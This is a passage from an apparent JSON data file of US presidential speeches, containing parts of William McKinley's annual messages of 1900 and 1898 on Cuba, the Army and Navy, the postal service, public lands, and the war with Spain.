Cuba and the United States.The constitution must be adequate to secure a stable, orderly, and free\ngovernment.When you have formulated the relations which in your opinion ought to exist\nbetween Cuba and the United States the Government of the United States will\ndoubtless take such action on its part as shall lead to a final and\nauthoritative agreement between the people of the two countries to the\npromotion of their common interests.All friends of Cuba will follow your deliberations with the deepest\ninterest, earnestly desiring that you shall reach just conclusions, and\nthat by the dignity, individual self-restraint, and wise conservatism which\nshall characterize your proceedings the capacity of the Cuban people for\nrepresentative government may be signally illustrated.The fundamental distinction between true representative government and\ndictatorship is that in the former every representative of the people, in\nwhatever office, confines himself strictly within the limits of his defined\npowers. Without such restraint there can be no free constitutional\ngovernment.Under the order pursuant to which you have been elected and convened you\nhave no duty and no authority to take part in the present government of the\nisland. Your powers are strictly limited by the terms of that order. When\nthe convention concludes its labors I will transmit to the Congress the\nconstitution as framed by the convention for its consideration and for such\naction as it may deem advisable.I renew the recommendation made in my special message of February 10, 1899,\nas to the necessity for cable communication between the United States and\nHawaii, with extension to Manila. Since then circumstances have strikingly\nemphasized this need. Surveys have shown the entire feasibility of a chain\nof cables which at each stopping place shall touch on American territory,\nso that the system shall be under our own complete control. Manila once\nwithin telegraphic reach, connection with the systems of the Asiatic coast\nwould open increased and profitable opportunities for a more direct cable\nroute from our shores to the Orient than is now afforded by the\ntrans-Atlantic, continental, and trans-Asian lines. I urge attention to\nthis important matter.The present strength of the Army is 100,000 men--65,000 regulars and\n35,000 volunteers. Under the act of March 2, 1899, on the 30th of June next\nthe present volunteer force will be discharged and the Regular Army will be\nreduced to 2,447 officers and 29,025 enlisted men.In 1888 a Board of Officers convened by President Cleveland adopted a\ncomprehensive scheme of coast-defense fortifications which involved the\noutlay of something over one hundred million dollars. This plan received\nthe approval of the Congress, and since then regular appropriations have\nbeen made and the work of fortification has steadily progressed.More than sixty millions of dollars have been invested in a great number of\nforts and guns, with all the complicated and scientific machinery and\nelectrical appliances necessary for their use. The proper care of this\ndefensive machinery requires men trained in its use. The number of men\nnecessary to perform this duty alone is ascertained by the War Department,\nat a minimum allowance, to be 18,420.There are fifty-eight or more military posts in the United States other\nthan the coast-defense fortifications.The number of these posts is being constantly increased by the Congress.\nMore than $22,000,000 have been expended in building and equipment, and\nthey can only be cared for by the Regular Army. The posts now in existence\nand others to be built provide for accommodations for, and if fully\ngarrisoned require, 26,000 troops. Many of these posts are along our\nfrontier or at important strategic points, the occupation of which is\nnecessary.We have in Cuba between 5,000 and 6,000 troops. For the present our troops\nin that island cannot be withdrawn or materially diminished, and certainly\nnot until the conclusion of the labors of the constitutional convention now\nin session and a government provided by the new constitution shall have\nbeen established and its stability assured.In Puerto Rico we have reduced the garrisons to 1,636, which includes 879\nnative troops. There is no room for further reduction here.We will be required to keep a considerable force in the Philippine Islands\nfor some time to come. From the best information obtainable we will need\nthere for the immediate future from 45,000 to 60,000 men. I am sure the\nnumber may be reduced as the insurgents shall come to acknowledge the\nauthority of the United States, of which there are assuring indications.It must be apparent that we will require an army of about 60,000, and that\nduring present conditions in Cuba and the Philippines the President should\nhave authority to increase the force to the present number of 100,000.\nIncluded in this number authority should be given to raise native troops in\nthe Philippines up to 15,000, which the Taft Commission believe will be\nmore effective in detecting and suppressing guerrillas, assassins, and\nladrones than our own soldiers.The full discussion of this subject by the Secretary of War in his annual\nreport is called to your earnest attention.I renew the recommendation made in my last annual message that the Congress\nprovide a special medal of honor for the volunteers, regulars, sailors, and\nmarines on duty in the Philippines who voluntarily remained in the service\nafter their terms of enlistment had expired.I favor the recommendation of the Secretary of War for the detail oil\nofficers from the line of the Army when vacancies occur in the\nAdjutant-General's Department, Inspector-General's Department,\nQuartermaster's Department, Subsistence Department, Pay Department,\nOrdnance Department, and Signal Corps.The Army cannot be too highly commended for its faithful and effective\nservice in active military operations in the field and the difficult work\nof civil administration.The continued and rapid growth of the postal service is a sure index of the\ngreat and increasing business activity of the country. Its most striking\nnew development is the extension of rural free delivery. This has come\nalmost wholly within the last year. At the beginning of the fiscal year\n1899, 1900 the number of routes in operation was only 391, and most of\nthese had been running less than twelve months. On the 15th of November,\n1900, the number had increased to 2,614, reaching into forty-four States\nand Territories, and serving a population of 1,801,524. The number of\napplications now pending and awaiting action nearly equals all those\ngranted up to the present time, and by the close of the current fiscal year\nabout 4,000 routes will have been established, providing for the daily\ndelivery of mails at the scattered homes of about three and a half millions\nof rural population.This service ameliorates the isolation of farm life, conduces to good\nroads, and quickens and extends the dissemination of general information.\nExperience thus far has tended to allay the apprehension that it would be\nso expensive as to forbid its general adoption or make it a serious burden.\nIts actual application has shown that it increases postal receipts, and can\nbe accompanied by reductions in other branches of the service, so that the\naugmented revenues and the accomplished savings together materially reduce\nthe net cost. The evidences which point to these conclusions are presented\nin detail in the annual report of the Postmaster-General, which with its\nrecommendations is commended to the consideration of the Congress. The full\ndevelopment of this special service, however, requires such a large outlay\nof money that it should be undertaken only after a careful study and\nthorough understanding of all that it involves.Very efficient service has been rendered by the Navy in connection with the\ninsurrection in the Philippines and the recent disturbance in China.A very satisfactory settlement has been made of the long-pending question\nof the manufacture of armor plate. A reasonable price has been secured and\nthe necessity for a Government armor plant avoided.I approve of the recommendations of the Secretary for new vessels and for\nadditional officers and men which the required increase of the Navy makes\nnecessary. I commend to the favorable action of the Congress the measure\nnow pending for the erection of a statue to the memory of the late Admiral\nDavid D. Porter. I commend also the establishment of a national naval\nreserve and of the grade of vice-admiral. Provision should be made, as\nrecommended by the Secretary, for suitable rewards for special merit. Many\nofficers who rendered the most distinguished service during the recent war\nwith Spain have received in return no recognition from the Congress.The total area of public lands as given by the Secretary of the Interior is\napproximately 1,071,881,662 acres, of which 917,135,880 acres are\nundisposed of and 154,745,782 acres have been reserved for various\npurposes. The public lands disposed of during the year amount to\n13,453,887.96 acres, including 62,423.09 acres of Indian lands, an increase\nOf 4,271,474.80 over the preceding year. The total receipts from the sale\nof public lands during the fiscal year were $4,379,758.10, an increase of\n$1,309,620.76 over the preceding year.The results obtained from our forest policy have demonstrated its wisdom\nand the necessity in the interest of the public for its continuance and\nincreased appropriations by the Congress for the carrying on of the work.\nOn June 30, 1900, there were thirty-seven forest reserves, created by\nPresidential proclamations under section 24 Of the act of March 3, 1891,\nembracing an area Of 46,425,529 acres.During the past year the Olympic Reserve, in the State of Washington, was\nreduced 265,040 acres, leaving its present area at 1,923,840 acres. The\nPrescott Reserve, in Arizona, was increased from 10,240 acres to 423,680\nacres, and the Big Horn Reserve, in Wyoming, was increased from 1,127,680\nacres to 1,180,800 acres. A new reserve; the Santa Ynez, in California,\nembracing an area of 145,000 acres, was created during this year. On\nOctober 10, 1900, the Crow Creek Forest Reserve, in Wyoming, was created,\nwith an area of 56,320 acres.At the end of the fiscal year there were on the pension roll 993,529 names,\na net increase Of 2,010 over the fiscal year 1899. The number added to the\nrolls during the year was 45,344. The amount disbursed for Army pensions\nduring the year was $134,700,597.24 and for Navy pensions $3,761,533.41, a\ntotal of $138,462,130.65, leaving an unexpended balance of $5,542,768.25 to\nbe covered into the Treasury, which shows an increase over the previous\nyear's expenditure Of $107,077.70. There were 684 names added to the rolls\nduring the year by special acts passed at the first session of the\nFifty-sixth Congress.The act of May 9, 1900, among other things provides for an extension of\nincome to widows pensioned under said act to $250 per annum. The Secretary\nof the Interior believes that by the operations of this act the number of\npersons pensioned under it will increase and the increased annual payment\nfor pensions will be between $3,000,000 and $4,000,000.The Government justly appreciates the services of its soldiers and sailors\nby making pension payments liberal beyond precedent to them, their widows\nand orphans.There were 26,540 letters patent granted, including reissues and designs,\nduring the fiscal year ended June 30, 1900; 1,660 trademarks, 682 labels,\nand 93 prints registered. The number of patents which expired was 19,988.\nThe total receipts for patents were $1,358,228.35. The expenditures were\n$1,247,827.58, showing a surplus Of $110,400.77The attention of the Congress is called to the report of the Secretary of\nthe Interior touching the necessity for the further establishment of\nschools in the Territory of Alaska, and favorable action is invited\nthereon.Much interesting information is given in the report of the Governor of\nHawaii as to the progress and development of the islands during the period\nfrom July 7, 1898, the date of the approval of the joint resolution of the\nCongress providing for their annexation, up to April 30, 1900, the date of\nthe approval of the act providing a government for the Territory, and\nthereafter.The last Hawaiian census, taken in the year 1896, gives a total population\nof 109,020, Of Which 31,019 were native Hawaiians. The number of Americans\nreported was 8,485. The results of the Federal census, taken this year,\nshow the islands to have a total population Of 154,001, showing an increase\nover that reported in 1896 of 44,981, or 41.2 per cent.There has been marked progress in the educational, agricultural, and\nrailroad development of the islands.In the Territorial act of April 30, 1900, section 7 of said act repeals\nChapter 34 Of the Civil Laws of Hawaii whereby the Government was to assist\nin encouraging and developing the agricultural resources of the Republic,\nespecially irrigation. The Governor of Hawaii recommends legislation\nlooking to the development of such water supply as may exist on the public\nlands, with a view of promoting land settlement. The earnest consideration\nof the Congress is invited to this important recommendation and others, as\nembodied in the report of the Secretary of the Interior.The Director of the Census states that the work in connection with the\nTwelfth Census is progressing favorably. This national undertaking, ordered\nby the Congress each decade, has finally resulted in the collection of an\naggregation of statistical facts to determine the industrial growth of the\ncountry, its manufacturing and mechanical resources, its richness in mines\nand forests, the number of its agriculturists, their farms and products,\nits educational and religious opportunities, as well as questions\npertaining to sociological conditions.The labors of the officials in charge of the Bureau indicate that the four\nimportant and most desired subjects, namely, population, agricultural,\nmanufacturing, and vital statistics, will be completed within the limit\nprescribed by the law of March 3, 1899.The field work incident to the above inquiries is now practically finished,\nand as a result the population of the States and Territories, including the\nHawaiian Islands and Alaska, has been announced. The growth of population\nduring the last decade amounts to over 13,000,000, a greater numerical\nincrease than in any previous census in the history of the country.Bulletins will be issued as rapidly as possible giving the population by\nStates and Territories, by minor civil divisions. Several announcements of\nthis kind have already been made, and it is hoped that the list will be\ncompleted by January 1. Other bulletins giving the results of the\nmanufacturing and agricultural inquiries will be given to the public as\nrapidly as circumstances will admit.The Director, while confident of his ability to complete the different\nbranches of the undertaking in the allotted time, finds himself embarrassed\nby the lack of a trained force properly equipped for statistical work, thus\nraising the question whether in the interest of economy and a thorough\nexecution of the census work there should not be retained in the Government\nemploy a certain number of experts not only to aid in the preliminary\norganization prior to the taking of the decennial census, but in addition\nto have the advantage in the field and office work of the Bureau of trained\nassistants to facilitate the early completion of this enormous\nundertaking.I recommend that the Congress at its present session apportion\nrepresentation among the several States as provided by the Constitution.The Department of Agriculture has been extending its work during the past\nyear, reaching farther for new varieties of seeds and plants; co-operating\nmore fully with the States and Territories in research along useful lines;\nmaking progress in meteorological work relating to lines of wireless\ntelegraphy and forecasts for ocean-going vessels; continuing inquiry as to\nanimal disease; looking into the extent and character of food adulteration;\noutlining plans for the care, preservation, and intelligent harvesting of\nour woodlands; studying soils that producers may cultivate with better\nknowledge of conditions, and helping to clothe desert places with grasses\nsuitable to our and regions. Our island possessions are being considered\nthat their peoples may be helped to produce the tropical products now so\nextensively brought into the United States. Inquiry into methods of\nimproving our roads has been active during the year; help has been given to\nmany localities, and scientific investigation of material in the States and\nTerritories has been inaugurated. Irrigation problems in our semiarid\nregions are receiving careful and increased consideration.An extensive exhibit at Paris of the products of agriculture has made the\npeoples of many countries more familiar with the varied products of our\nfields and their comparative excellence.The collection of statistics regarding our crops is being improved and\nsources of information are being enlarged, to the end that producers may\nhave the earliest advices regarding crop conditions. There has never been a\ntime when those for whom it was established have shown more appreciation of\nthe services of the Department.In my annual message of December 5, 1898, I called attention to the\nnecessity for some amendment of the alien contract law. There still remain\nimportant features of the rightful application of the eight-hour law for\nthe benefit of labor and of the principle of arbitration, and I again\ncommend these subjects to the careful attention of the Congress.That there may be secured the best service possible in the Philippine\nIslands, I have issued, under date of November 30, 1900, the following\norder: The United States Civil Service Commission is directed to render\nsuch assistance as may be practicable to the Civil Service Board, created\nunder the act of the United States Philippine Commission, for the\nestablishment and maintenance of an honest and efficient civil service in\nthe Philippine Islands, and for that purpose to conduct examinations for\nthe civil service of the Philippine islands, upon the request of the Civil\nService Board of said islands, under such regulations as may be agreed upon\nby the said Board and the said United States Civil Service Commission. The\nCivil Service Commission is greatly embarrassed in its work for want of an\nadequate permanent force for clerical and other assistance. Its needs are\nfully set forth in its report. I invite attention to the report, and\nespecially urge upon the Congress that this important bureau of the public\nservice, which passes upon the qualifications and character of so large a\nnumber of the officers and employees of the Government, should be supported\nby all needed appropriations to secure promptness and efficiency.I am very much impressed with the statement made by the heads of all the\nDepartments of the urgent necessity of a hall of public records. In every\ndepartmental building in Washington, so far as I am informed, the space for\nofficial records is not only exhausted, but the walls of rooms are lined\nwith shelves, the middle floor space of many rooms is filled with the\ncases, and garrets and basements, which were never intended and are\nunfitted for their accommodation, are crowded with them. Aside from the\ninconvenience there is great danger, not only from fire, but from the\nweight of these records upon timbers not intended for their support. There\nshould be a separate building especially designed for the purpose of\nreceiving and preserving the annually accumulating archives of the several\nExecutive Departments. Such a hall need not be a costly structure, but\nshould be so arranged as to admit of enlargement from time to time. I\nurgently recommend that the Congress take early action in this matter.I transmit to the Congress a resolution adopted at a recent meeting of the\nAmerican Bar Association concerning the proposed celebration of John\nMarshall Day, February 4, 1901. Fitting exercises have been arranged, and\nit is earnestly desired by the committee that the Congress may participate\nin this movement to honor the memory of the great jurist.The transfer of the Government to this city is a fact of great historical\ninterest. Among the people there is a feeling of genuine pride in the\nCapital of the Republic.It is a matter of interest in this connection that in 1800 the population\nof the District of Columbia was 14,093; to-day it is 278,718. The\npopulation of the city of Washington was then 3,210; to-day it is 218,196.The Congress having provided for \"an appropriate national celebration of\nthe Centennial Anniversary of the Establishment of the Seat of the\nGovernment in the District of Columbia,\" the committees authorized by it\nhave prepared a programme for the 12th of December, 1900, which date has\nbeen selected as the anniversary day. Deep interest has been shown in the\narrangements for the celebration by the members of the committees of the\nSenate and House of Representatives, the committee of Governors appointed\nby the President, and the committees appointed by the citizens and\ninhabitants of the District of Columbia generally. The programme, in\naddition to a reception and other exercises at the Executive Mansion,\nprovides commemorative exercises to be held jointly by the Senate and House\nof Representatives in the Hall of the House of Representatives, and a\nreception in the evening at the Corcoran Gallery of Art in honor of the\nGovernors of the States and Territories.In our great prosperity we must guard against the danger it invites of\nextravagance in Government expenditures and appropriations; and the chosen\nrepresentatives of the people will, I doubt not, furnish an example in\ntheir legislation of that wise economy which in a season of plenty husbands\nfor the future. In this era of great business activity and opportunity\ncaution is not untimely. It will not abate, but strengthen, confidence. It\nwill not retard, but promote, legitimate industrial and commercial\nexpansion. Our growing power brings with it temptations and perils\nrequiring constant vigilance to avoid. It must not be used to invite\nconflicts, nor for oppression, but for the more effective maintenance of\nthose principles of equality and justice upon which our institutions and\nhappiness depend. Let us keep always in mind that the foundation of our\nGovernment is liberty; its superstructure peace.", 
+    "name": "William McKinley"
+}
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+{
+    "date": "December 5, 1898", 
+    "speech": "To the Senate and House of Representatives:Notwithstanding the added burdens rendered necessary by the war, our people\nrejoice in a very satisfactory and steadily increasing degree of\nprosperity, evidenced by the largest volume of business ever recorded.\nManufacture has been productive, agricultural pursuits have yielded\nabundant returns, labor in all fields of industry is better rewarded,\nrevenue legislation passed by the present Congress has increased the\nTreasury's receipts to the amount estimated by its authors, the finances of\nthe Government have been successfully administered and its credit advanced\nto the first rank, while its currency has been maintained at the world's\nhighest standard. Military service under a common flag and for a righteous\ncause has strengthened the national spirit and served to cement more\nclosely than ever the fraternal bonds between every section of the\ncountry.A review of the relation of the United States to other powers, always\nappropriate, is this year of primary importance in view of the momentous\nissues which have arisen, demanding in one instance the ultimate\ndetermination by arms and involving far-reaching consequences which will\nrequire the earnest attention of the Congress.In my last annual message very full consideration was given to the question\nof the duty of the Government of the United States toward Spain and the\nCuban insurrection as being by far the most important problem with which we\nwere then called upon to deal. The considerations then advanced and the\nexposition of the views therein expressed disclosed my sense of the extreme\ngravity of the situation. Setting aside as logically unfounded or\npractically inadmissible the recognition of the Cuban insurgents as\nbelligerents, the recognition of the independence of Cuba, neutral\nintervention to end the war by imposing a rational compromise between the\ncontestants, intervention in favor of one or the other party, and forcible\nannexation of the island, I concluded it was honestly due to our friendly\nrelations with Spain that she should be given a reasonable chance to\nrealize her expectations of reform to which she had become irrevocably\ncommitted. Within a few weeks previously she had announced comprehensive\nplans which it was confidently asserted would be efficacious to remedy the\nevils so deeply affecting our own country, so injurious to the true\ninterests of the mother country as well as to those of Cuba, and so\nrepugnant to the universal sentiment of humanity.The ensuing month brought little sign of real progress toward the\npacification of Cuba. The autonomous administrations set up in the capital\nand some of the principal cities appeared not to gain the favor of the\ninhabitants nor to be able to extend their influence to the large extent of\nterritory held by the insurgents, while the military arm, obviously unable\nto cope with the still active rebellion, continued many of the most\nobjectionable and offensive policies of the government that had preceded\nit. No tangible relief was afforded the vast numbers of unhappy\nreconcentrados, despite the reiterated professions made in that regard and\nthe amount appropriated by Spain to that end. The proffered expedient of\nzones of cultivation proved illusory. Indeed no less practical nor more\ndelusive promises of succor could well have been tendered to the exhausted\nand destitute people, stripped of all that made life and home dear and\nherded in a strange region among unsympathetic strangers hardly less\nnecessitous than themselves.By the end of December the mortality among them had frightfully increased.\nConservative estimates from Spanish sources placed the deaths among these\ndistressed people at over 40 per cent from the time General Weyler's decree\nof reconcentration was enforced. With the acquiescence of the Spanish\nauthorities, a scheme was adopted for relief by charitable contributions\nraised in this country and distributed, under the direction of the\nconsul-general and the several consuls, by noble and earnest individual\neffort through the organized agencies of the American Red Cross. Thousands\nof lives were thus saved, but many thousands more were inaccessible to such\nforms of aid.The war continued on the old footing, without comprehensive plan,\ndeveloping only the same spasmodic encounters, barren of strategic result,\nthat had marked the course of the earlier ten years' rebellion as well as\nthe present insurrection from its start. No alternative save physical\nexhaustion of either combatant, and therewithal the practical ruin of the\nisland, lay in sight, but how far distant no one could venture to\nconjecture.At this juncture, on the 15th of February last, occurred the destruction of\nthe battle ship Maine while rightfully lying in the harbor of Havana on a\nmission of international courtesy and good will--a catastrophe the\nsuspicious nature and horror of which stirred the nation's heart\nprofoundly. It is a striking evidence of the poise and sturdy good sense\ndistinguishing our national character that this shocking blow, falling upon\na generous people already deeply touched by preceding events in Cuba, did\nnot move them to an instant desperate resolve to tolerate no longer the\nexistence of a condition of danger and disorder at our doors that made\npossible such a deed, by whomsoever wrought. Yet the instinct of justice\nprevailed, and the nation anxiously awaited the result of the searching\ninvestigation at once set on foot. The finding of the naval board of\ninquiry established that the origin of the explosion was external, by a\nsubmarine mine, and only halted through lack of positive testimony to fix\nthe responsibility of its authorship.All these things carried conviction to the most thoughtful, even before the\nfinding of the naval court, that a crisis in our relations with Spain and\ntoward Cuba was at hand. So strong was this belief that it needed but a\nbrief Executive suggestion to the Congress to receive immediate answer to\nthe duty of making instant provision for the possible and perhaps speedily\nprobable emergency of war, and the remarkable, almost unique, spectacle was\npresented of a unanimous vote of both Houses, on the 9th of March,\nappropriating $50,000,000 \"for the national defense and for each and every\npurpose connected therewith, to be expended at the discretion of the\nPresident.\" That this act of prevision came none too soon was disclosed\nwhen the application of the fund was undertaken. Our coasts were\npractically undefended. Our Navy needed large provision for increased\nammunition and supplies, and even numbers to cope with any sudden attack\nfrom the navy of Spain, which comprised modern vessels of the highest type\nof continental perfection. Our Army also required enlargement of men and\nmunitions. The details of the hurried preparation for the dreaded\ncontingency are told in the reports of the Secretaries of War and of the\nNavy, and need not be repeated here. It is sufficient to say that the\noutbreak of war when it did come found our nation not unprepared to meet\nthe conflict.Nor was the apprehension of coming strife confined to our own country. It\nwas felt by the continental powers, which on April 6, through their\nambassadors and envoys, addressed to the Executive an expression of hope\nthat humanity and moderation might mark the course of this Government and\npeople, and that further negotiations would lead to an agreement which,\nwhile securing the maintenance of peace, would afford all necessary\nguaranties for the reestablishment of order in Cuba. In responding to that\nrepresentation I said I shared the hope the envoys had expressed that peace\nmight be preserved in a manner to terminate the chronic condition of\ndisturbance in Cuba, so injurious and menacing to our interests and\ntranquillity, as well as shocking to our sentiments of humanity; and while\nappreciating the humanitarian and disinterested character of the\ncommunication they had made on behalf of the powers, I stated the\nconfidence of this Government, for its part, that equal appreciation would\nbe shown for its own earnest and unselfish endeavors to fulfill a duty to\nhumanity by ending a situation the indefinite prolongation of which had\nbecome insufferable.Still animated by the hope of a peaceful solution and obeying the dictates\nof duty, no effort was relaxed to bring about a speedy ending of the Cuban\nstruggle. Negotiations to this object continued actively with the\nGovernment of Spain, looking to the immediate conclusion of a six months'\narmistice in Cuba, with a view to effect the recognition of her people's\nright to independence. Besides this, the instant revocation of the order of\nreconcentration was asked, so that the sufferers, returning to their homes\nand aided by united American and Spanish effort, might be put in a way to\nsupport themselves and, by orderly resumption of the well-nigh destroyed\nproductive energies of the island, contribute to the restoration of its\ntranquillity and well-being. Negotiations continued for some little time at\nMadrid, resulting in offers by the Spanish Government which could not but\nbe regarded as inadequate. It was proposed to confide the preparation of\npeace to the insular parliament, yet to be convened under the autonomous\ndecrees of November, 1897, but without impairment in any wise of the\nconstitutional powers of the Madrid Government, which to that end would\ngrant an armistice, if solicited by the insurgents, for such time as the\ngeneral in chief might see fit to fix. How and with what scope of\ndiscretionary powers the insular parliament was expected to set about the\n\"preparation\" of peace did not appear. If it were to be by negotiation with\nthe insurgents, the issue seemed to rest on the one side with a body chosen\nby a fraction of the electors in the districts under Spanish control, and\non the other with the insurgent population holding the interior country,\nunrepresented in the so-called parliament and defiant at the suggestion of\nsuing for peace.Grieved and disappointed at this barren outcome of my sincere endeavors to\nreach a practicable solution, I felt it my duty to remit the whole question\nto the Congress. In the message of April 11, 1898, I announced that with\nthis last overture in the direction of immediate peace in Cuba and its\ndisappointing reception by Spain the effort of the Executive was brought to\nan end. I again reviewed the alternative courses of action which had been\nproposed, concluding that the only one consonant with international policy\nand compatible with our firm-set historical traditions was intervention as\na neutral to stop the war and check the hopeless sacrifice of life, even\nthough that resort involved \"hostile constraint upon both the parties to\nthe contest, as well to enforce a truce as to guide the eventual\nsettlement.\" The grounds justifying that step were the interests of\nhumanity, the duty to protect the life and property of our citizens in\nCuba, the right to check injury to our commerce and people through the\ndevastation of the island, and, most important, the need of removing at\nonce and forever the constant menace and the burdens entailed upon our\nGovernment by the uncertainties and perils of the situation caused by the\nunendurable disturbance in Cuba. I said: The long trial has proved that the\nobject for which Spain has waged the war can not be attained. The fire of\ninsurrection may flame or may smolder with varying seasons, but it has not\nbeen and it is plain that it can not be extinguished by present methods.\nThe only hope of relief and repose from a condition which can no longer be\nendured is the enforced pacification of Cuba. In the name of humanity, in\nthe name of civilization, in behalf of endangered American interests which\ngive us the right and the duty to speak and to act, the war in Cuba must\nstop. In view of all this the Congress was asked to authorize and empower\nthe President to take measures to secure a full and final termination of\nhostilities between Spain and the people of Cuba and to secure in the\nisland the establishment of a stable government, capable of maintaining\norder and observing its international obligations, insuring peace and\ntranquillity and the security of its citizens as well as our own, and for\nthe accomplishment of those ends to use the military and naval forces of\nthe United States as might be necessary, with added authority to continue\ngenerous relief to the starving people of Cuba.The response of the Congress, after nine days of earnest deliberation,\nduring which the almost unanimous sentiment of your body was developed on\nevery point save as to the expediency of coupling the proposed action with\na formal recognition of the Republic of Cuba as the true and lawful\ngovernment of that island--a proposition which failed of adoption--the\nCongress, after conference, on the 19th of April, by a vote of 42 to 35 in\nthe Senate and 311 to 6 in the House of Representatives, passed the\nmemorable joint resolution declaring--First. That the people of the island of Cuba are, and of right ought to be,\nfree and independent.Second. That it is the duty of the United States to demand, and the\nGovernment of the United States does hereby demand, that the Government of\nSpain at once relinquish its authority and government in the island of Cuba\nand withdraw its land and naval forces from Cuba and Cuban waters.Third. That the President of the United States be, and he hereby is,\ndirected and empowered to use the entire land and naval forces of the\nUnited States and to call into the actual service of the United States the\nmilitia of the several States to such extent as may be necessary to carry\nthese resolutions into effect.Fourth. That the United States hereby disclaims any disposition or\nintention to exercise sovereignty, jurisdiction, or control over said\nisland except for the pacification thereof, and asserts its determination\nwhen that is accomplished to leave the government and control of the island\nto its people. This resolution was approved by the Executive on the next\nday, April 20. A copy was at once communicated to the Spanish minister at\nthis capital, who forthwith announced that his continuance in Washington\nhad thereby become impossible, and asked for his passports, which were\ngiven him. He thereupon withdrew from Washington, leaving the protection of\nSpanish interests in the United States to the French ambassador and the\nAustro-Hungarian minister. Simultaneously with its communication to the\nSpanish minister here, General Woodford, the American minister at Madrid,\nwas telegraphed confirmation of the text of the joint resolution and\ndirected to communicate it to the Government of Spain with the formal\ndemand that it at once relinquish its authority and government in the\nisland of Cuba and withdraw its forces therefrom, coupling this demand with\nannouncement of the intentions of this Government as to the future of the\nisland, in conformity with the fourth clause of the resolution, and giving\nSpain until noon of April 23 to reply.That demand, although, as above shown, officially made known to the Spanish\nenvoy here, was not delivered at Madrid. After the instruction reached\nGeneral Woodford on the morning of April 21, but before he could present\nit, the Spanish minister of state notified him that upon the President's\napproval of the joint resolution the Madrid Government, regarding the act\nas \"equivalent to an evident declaration of war,\" had ordered its minister\nin Washington to withdraw, thereby breaking off diplomatic relations\nbetween the two countries and ceasing all official communication between\ntheir respective representatives. General Woodford thereupon demanded his\npassports and quitted Madrid the same day.Spain having thus denied the demand of the United States and initiated that\ncomplete form of rupture of relations which attends a state of war, the\nexecutive powers authorized by the resolution were at once used by me to\nmeet the enlarged contingency of actual war between sovereign states. On\nApril 22 I proclaimed a blockade of the north coast of Cuba, including\nports on said coast between Cardenas and Bahia Honda, and the port of\nCienfuegos, on the south coast of Cuba, and on the 23d I called for\nvolunteers to execute the purpose of the resolution. By my message of April\n25 the Congress was informed of the situation, and I recommended formal\ndeclaration of the existence of a state of war between the United States\nand Spain. The Congress accordingly voted on the same day the act approved\nApril 25, 1898, declaring the existence of such war from and including the\n21st day of April, and reenacted the provision of the resolution of April\n20 directing the President to use all the armed forces of the nation to\ncarry that act into effect. Due notification of the existence of war as\naforesaid was given April 25 by telegraph to all the governments with which\nthe United States maintain relations, in order that their neutrality might\nbe assured during the war. The various governments responded with\nproclamations of neutrality, each after its own methods. It is not among\nthe least gratifying incidents of the struggle that the obligations of\nneutrality were impartially discharged by all, often under delicate and\ndifficult circumstances.In further fulfillment of international duty I issued, April 26, 1893, a\nproclamation announcing the treatment proposed to be accorded to vessels\nand their cargoes as to blockade, contraband, the exercise of the right of\nsearch, and the immunity of neutral flags and neutral goods under enemy's\nflag. A similar proclamation was made by the Spanish Government. In the\nconduct of hostilities the rules of the Declaration of Paris, including\nabstention from resort to privateering, have accordingly been observed by\nboth belligerents, although neither was a party to that declaration.Our country thus, after an interval of half a century of peace with all\nnations, found itself engaged in deadly conflict with a foreign enemy.\nEvery nerve was strained to meet the emergency. The response to the initial\ncall for 125,000 volunteers was instant and complete, as was also the\nresult of the second call, of May 25, for 75,000 additional volunteers. The\nranks of the Regular Army were increased to the limits provided by the act\nof April 26, 1898.The enlisted force of the Navy on the 15th day of August, when it reached\nits maximum, numbered 24,123 men and apprentices. One hundred and three\nvessels were added to the Navy by purchase, 1 was presented to the\nGovernment, 1 leased, and the 4 vessels of the International Navigation\nCompany--the St. Paul, St. Louis, New York, and Paris--were chartered. In\naddition to these the revenue cutters and lighthouse tenders were turned\nover to the Navy Department and became temporarily a part of the auxiliary\nNavy.The maximum effective fighting force of the Navy during the war, separated\ninto classes, was as follows:Four battle ships of the first class, 1 battle ship of the second class, 2\narmored cruisers, 6 coast-defense monitors, 1 armored ram, 12 protected\ncruisers, 3 unprotected cruisers, 18 gunboats, 1 dynamite cruiser, 11\ntorpedo boats; vessels of the old Navy, including monitors, 14. Auxiliary\nNavy: 11 auxiliary cruisers, 28 converted yachts, 27 converted tugs, 19\nconverted colliers, 15 revenue cutters, 4 light-house tenders, and 19\nmiscellaneous vessels.Much alarm was felt along our entire Atlantic seaboard lest some attack\nmight be made by the enemy. Every precaution was taken to prevent possible\ninjury to our great cities lying along the coast. Temporary garrisons were\nprovided, drawn from the State militia; infantry and light batteries were\ndrawn from the volunteer force. About 12,000 troops were thus employed. The\ncoast signal service was established for observing the approach of an\nenemy's ships to the coast of the United States, and the Life-Saving and\nLight-House services cooperated, which enabled the Navy Department to have\nall portions of the Atlantic coast, from Maine to Texas, under\nobservation.The auxiliary Navy was created under the authority of Congress and was\nofficered and manned by the Naval Militia of the several States. This\norganization patrolled the coast and performed the duty of a second line of\ndefense. Under the direction of the Chief of Engineers submarine mines were\nplaced at the most exposed points. Before the outbreak of the war permanent\nmining casemates and cable galleries had been constructed at nearly all\nimportant harbors. Most of the torpedo material was not to be found in the\nmarket, and had to be specially manufactured. Under date of April 19\ndistrict officers were directed to take all preliminary measures short of\nthe actual attaching of the loaded mines to the cables, and on April 22\ntelegraphic orders were issued to place the loaded mines in position.The aggregate number of mines placed was 1,535, at the principal harbors\nfrom Maine to California. Preparations were also made for the planting of\nmines at certain other harbors, but owing to the early destruction of the\nSpanish fleet these mines were not placed.The Signal Corps was promptly organized, and performed service of the most\ndifficult and important character. Its operations during the war covered\nthe electrical connection of all coast fortifications, the establishment of\ntelephonic and telegraphic facilities for the camps at Manila, Santiago,\nand in Puerto Rico. There were constructed 300 miles of line at ten great\ncamps, thus facilitating military movements from those points in a manner\nheretofore unknown in military administration. Field telegraph lines were\nestablished and maintained under the enemy's fire at Manila, and later the\nManila-Hongkong cable was reopened.In Puerto Rico cable communications were opened over a discontinued route,\nand on land the headquarters of the commanding officer was kept in\ntelegraphic or telephonic communication with the division commanders on\nfour different lines of operations.There was placed in Cuban waters a completely outfitted cable ship, with\nwar cables and cable gear, suitable both for the destruction of\ncommunications belonging to the enemy and the establishment of our own. Two\nocean cables were destroyed under the enemy's batteries at Santiago. The\nday previous to the landing of General Shafter's corps, at Caimanera,\nwithin 20 miles of the landing place, cable communications were established\nand a cable station opened giving direct communication with the Government\nat Washington. This service was invaluable to the Executive in directing\nthe operations of the Army and Navy. With a total force of over 1,300, the\nloss was by disease in camp and field, officers and men included, only 5.The national-defense fund of $50,000,000 was expended in large part by the\nArmy and 